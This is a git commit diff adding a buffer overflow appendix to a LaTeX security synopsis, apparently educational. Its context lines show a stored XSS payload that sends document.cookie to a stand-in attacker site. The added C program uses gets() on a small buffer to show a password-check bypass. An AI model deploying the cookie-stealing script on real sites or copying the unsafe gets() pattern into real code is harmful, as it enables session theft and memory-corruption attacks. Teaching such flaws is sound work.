aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMarcin Zelent <zelent.marcin@gmail.com>2018-05-30 18:27:51 +0200
committerMarcin Zelent <zelent.marcin@gmail.com>2018-05-30 18:27:51 +0200
commitee0bd3f7716546f679bd390d7b681fedf949b2fb (patch)
treea8b21d9c4707521dcf161bbdc7a20f622700c6f2 /synopsis.tex
parent7b2e079f4ef3cd3f16c6c5ca30fc3e97fd982b28 (diff)
Added buffer overflow example
Diffstat (limited to 'synopsis.tex')
-rw-r--r--synopsis.tex26
1 files changed, 26 insertions, 0 deletions
diff --git a/synopsis.tex b/synopsis.tex
index e844895..9c115c8 100644
--- a/synopsis.tex
+++ b/synopsis.tex
@@ -740,5 +740,31 @@ INSERT INTO Comments VALUES('attacker','hello
<script>document.createElement("img").src =
"http://attackerswebsite.com/" + document.cookie</script>');
\end{minted}
+\newpage
+
+\appendix
+\section{Buffer overflow example}
+
+\subsection{buffer-overflow.c}
+\begin{minted}{c}
+#include <stdio.h>
+#include <string.h>
+
+int main(void)
+{
+ char buf[16];
+ int ok = 0;
+
+ printf("Type admin password: \n");
+ gets(buf);
+
+ if (strcmp(buf, "pass123")) printf("\nWrong password!\n");
+ else ok = 1;
+
+ if (ok) printf("\nLogged in as admin.\n");
+
+ return 0;
+}
+\end{minted}
\end{document}